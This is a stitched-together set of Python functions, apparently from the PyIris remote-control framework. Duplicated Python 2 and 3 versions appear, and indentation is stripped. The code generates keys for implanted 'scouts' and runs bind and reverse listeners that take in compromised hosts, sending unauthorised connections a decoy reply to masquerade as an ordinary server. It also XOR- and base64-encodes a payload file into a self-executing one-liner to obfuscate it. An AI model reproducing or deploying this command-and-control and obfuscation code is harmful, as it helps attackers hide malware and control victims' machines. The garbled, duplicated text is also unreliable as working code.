def main(condition):
if condition == 'system_initiated':
dir = os.listdir(os.getcwd())
if 'PyIris.cred' in dir:
print config.pos + 'PyIris.cred key file located - OK'
pass
else:
print config.neg + 'PyIris.cred key file not found/generated - ERROR, AUTO-GENERATING KEY'
prompt = raw_input(
config.pro +
'Listener key [Enter to generate a random 50 length key] : ')
if not prompt:
prompt = return_random_string.main(50)
with open('PyIris.cred', 'w') as f:
f.write(prompt)
print config.pos + 'Generated PyIris.cred key file with key as : ' + prompt
elif condition == 'user_initiated':
continue_on = raw_input(
config.war +
'This will overwrite existing key, continue? [y|n] : ')
if continue_on == 'y':
prompt = raw_input(
config.pro +
'Listener key [Enter to generate a random 50 length key] : ')
if not prompt:
prompt = return_random_string.main(50)
with open('PyIris.cred', 'w') as f:
f.write(prompt)
print config.pos + 'Generated PyIris.cred key file with key as : ' + prompt
config.key = prompt
def main(condition):
if condition == 'system_initiated':
if os.path.isfile(os.path.join(os.getcwd(), 'resources',
'PyIris.cred')):
print(config.pos + 'PyIris.cred key file located - OK')
pass
else:
print(
config.neg +
'PyIris.cred key file not found/generated - ERROR, AUTO-GENERATING KEY'
)
prompt = input(
config.pro +
'Listener key [Enter to generate a random 50 length key] : ')
if not prompt:
prompt = return_random_string.main(50)
with open('resources/PyIris.cred', 'w') as f:
f.write(prompt)
print(config.pos +
'Generated PyIris.cred key file with key as : ' + prompt)
elif condition == 'user_initiated':
continue_on = input(
config.war +
'This will overwrite existing key, continue? [y|n] : ')
if continue_on == 'y':
prompt = input(
config.pro +
'Listener key [Enter to generate a random 50 length key] : ')
if not prompt:
prompt = return_random_string.main(50)
with open('resources/PyIris.cred', 'w') as f:
f.write(prompt)
print(config.pos +
'Generated PyIris.cred key file with key as : ' + prompt)
config.key = prompt
def main(option):
if option == 'encode':
try:
imported_modules = ['from itertools import cycle', 'from base64 import b64decode']
with open('payload.py', 'r') as f:
data = f.read().replace(';', '\n')
source = data.split('\n')
for i in source:
if 'import' in i and i != 'from itertools import cycle':
imported_modules.append(i)
key = return_random_string.main(50)
print(' ' + config.inf + 'Random 50 length XOR cipher key : ' + key)
encoded_source = base64.b64encode((xor_encoder('\n'.join(source), key)).encode()).decode()
obfuscated = ';'.join(
imported_modules) + ';exec("".join(chr(ord(c1)^ord(c2)) for (c1,c2) in zip(b64decode("' + encoded_source + '").decode(),cycle("' + key + '"))))'
with open('payload.py', 'w') as f:
f.write(obfuscated)
print(' ' + config.inf + 'Encoded scout and overwrote raw file with XOR encoded file contents')
except SyntaxError:
print(' ' + config.neg + 'Could not encode scout')
elif option == 'info':
print('\nName : XOR Cipher Encoder' \
'\nRequired Modules : itertools, base64' \
'\nDescription : Uses XOR cipher encryption to obfuscate the scout source' \
'\nNote : Requires base64 module to encode raw bytes as text so the scout is able to base64 decode itself into raw bytes to XOR decrypt itself\n')
def main(args):
try:
host = args.split(' ')[1]
port = int(args.split(' ')[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect((host, port))
print config.pos + 'Established a bind TCP connection to ' + host + ':' + str(
port)
if config.white_list:
if host not in config.white_list:
s.close()
print config.neg + 'Connection was aborted because host was not in whitelist'
return
elif config.black_list:
if host in config.black_list:
s.close()
print config.neg + 'Connection was aborted because host was in blacklist'
return
s.settimeout(5)
try:
await_key = s.recv(9999999)
except (socket.timeout, socket.error):
print config.neg + 'Established connection to ' + host + ':' + str(
port) + ' but no data received!'
return
s.settimeout(None)
if await_key == config.key:
print config.pos + 'Key from scout matches, connection is allowed'
config.scout_database[str(config.incremented_scout_id)] = [
s, host,
str(port), host + ':' + str(port),
return_random_string.main(5),
datetime.now().strftime('%Y-%m-%d %H:%M:%S'), 'Bind'
]
print config.inf + 'Entry added to database'
config.incremented_scout_id += 1
else:
print config.neg + 'Invalid key was supplied from scout, denying connection...'
s.close()
except (socket.timeout, socket.error):
print config.neg + 'Unable to establish bind TCP connection to ' + host + ':' + str(
port)
except (IndexError, ValueError):
print config.neg + 'Please specify a valid hostname and port number'
def main(host, port, name, reply):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
s.settimeout(2)
local_copy_of_id = config.incremented_listener_id
config.listener_database[str(config.incremented_listener_id)] = [
host,
str(port), name,
datetime.now().strftime('%Y-%m-%d %H:%M:%S'), []
]
config.incremented_listener_id += 1
print(config.pos + 'Successfully started listener thread at : ' +
host + ':' + str(port))
while True:
try:
if should_listener_die.main(str(local_copy_of_id)):
print('\n' + config.pos + 'Listener at : ' + host + ':' +
str(port) + ' , received kill message, exiting...')
return
else:
try:
conn, addr = s.accept()
except (socket.timeout, socket.error):
continue
if config.white_list:
if addr[0] not in config.white_list:
conn.sendall(
reply.encode()
) # masquerade as ordinary server without showing length byte and seperator
conn.close()
continue
elif config.black_list:
if addr[0] in config.black_list:
conn.sendall(
reply.encode()
) # masquerade as ordinary server without showing length byte and seperator
conn.close()
continue
if conn:
await_key = recv_all.main(conn, 5)
conn.settimeout(None)
if await_key == config.key:
print('\n' + config.pos +
'Connection received from scout : ' +
addr[0] + ':' + str(addr[1]) + ' -> ' +
host + ':' + str(port))
config.scout_database[str(
config.incremented_scout_id)] = [
conn, addr[0],
str(addr[1]), host + ':' + str(port),
return_random_string.main(5),
datetime.now().strftime(
'%Y-%m-%d %H:%M:%S'), 'Reverse'
]
config.listener_database[str(
local_copy_of_id)][4].append(addr[0] + ':' +
str(addr[1]))
config.incremented_scout_id += 1
else:
conn.sendall(
reply.encode()
) # masquerade as ordinary server without showing length byte and seperator
conn.close()
else:
conn.close()
except socket.error:
continue
except Exception as e:
print('\n' + config.war + 'Error in listener thread : ' + str(e) +
', killing thread...')
try:
del (config.listener_database[str(local_copy_of_id)])
except (IndexError, ValueError, UnboundLocalError):
pass
def main(host, port, name):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
s.settimeout(2)
local_copy_of_id = config.incremented_listener_id
config.listener_database[str(config.incremented_listener_id)] = [
host,
str(port), name,
datetime.now().strftime('%Y-%m-%d %H:%M:%S')
]
config.incremented_listener_id += 1
print '[+]Successfully started listener thread at : ' + host + ':' + str(
port)
while True:
try:
if should_listener_die.main(str(local_copy_of_id)):
print '\n[+]Listener at : ' + host + ':' + str(
port) + ' , received kill message, exiting...'
return
else:
try:
conn, addr = s.accept()
except (socket.timeout, socket.error):
continue
if config.white_list:
if addr[0] not in config.white_list:
conn.close()
continue
elif config.black_list:
if addr[0] in config.black_list:
conn.close()
continue
if conn:
conn.settimeout(5)
await_key = conn.recv(9999999)
conn.settimeout(None)
if await_key == config.key:
print '\n[+]Connection received from scout : ' + addr[
0] + ':' + str(
addr[1]) + ' -> ' + host + ':' + str(port)
config.scout_database[str(
config.incremented_scout_id)] = [
conn, addr[0],
str(addr[1]), host + ':' + str(port),
return_random_string.main(5),
datetime.now().strftime(
'%Y-%m-%d %H:%M:%S')
]
config.incremented_scout_id += 1
else:
conn.close()
else:
conn.close()
except socket.error:
continue
except Exception as e:
print '\n[!]Error in listener thread : ' + str(
e) + ', killing thread...'
del (config.listener_database[str(local_copy_of_id)])
